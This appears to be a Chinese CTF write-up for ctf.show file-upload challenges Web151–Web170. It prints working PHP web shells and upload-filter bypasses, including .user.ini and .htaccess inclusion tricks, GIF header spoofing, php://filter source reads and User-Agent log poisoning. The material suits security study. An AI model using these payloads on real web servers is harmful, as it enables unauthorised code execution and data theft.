Web151
F12修改源代码 exts后面png改为php 这样就可以上传php的文件了

Web152:
考点:后端不能单一校验
就是要传图片格式,抓个包传个png的图片 然后bp抓包修改php后缀解析 然后放包
Web153-web156
在php代码中可以使用"{}"代替"[]"

.user.ini文件特性
当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置
例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,"="后紧跟需要包含文件路径
所以,本题的解题思路:
先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可
auto_prepend_file=1.png

上传图片马

访问index.php
ws=system("tac ../flag.php");

Web157-158
其余操作同上
图片上传内容
<?=system(' tac ../fl*')?>
Web159
其余操作同上
反引号绕过
<?=`tac ../fl*`?>
Web160
auto_prepend_file=1.png

上传图片马
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

再解码

Web161
文件头校验添加
.gif,"GIF 89A"
GIF89a
auto_prepend_file=1.png

上传图片马
GIF89a
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

再解码

Web162-165
未完成
Web166
Bp抓包查看返回数据包msg

访问GET /upload/2.zip
抓包发现
if(res.code==0){
$("#result").html("文件上传成功 <a href='upload/download.php?file="+res.msg+"' target='_blank'>下载文件</a>");

浏览器访问地址下载zi'p

Web167
上传.htaccess文件
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传一句话木马

x=system('tac ../flag.php');

Web168
上传1.php 内容为:
<?php echo `cat /var/www/html/*`;?>

https://4d308ebe-1e2a-4163-a95a-14c57cb8cf7e.challenge.ctf.show/upload/1.php

Web169
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_prepend_file=/var/log/nginx/access.log
上传.user.ini修改

上传一个php文件随便都行
抓包ua头rce
<?=system('cat ../flagaa.php')?>

Web170
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_prepend_file=/var/log/nginx/access.log
上传.user.ini修改

上传一个php文件随便都行
抓包ua头rce
<?=system('cat ../flagaa.php')?>
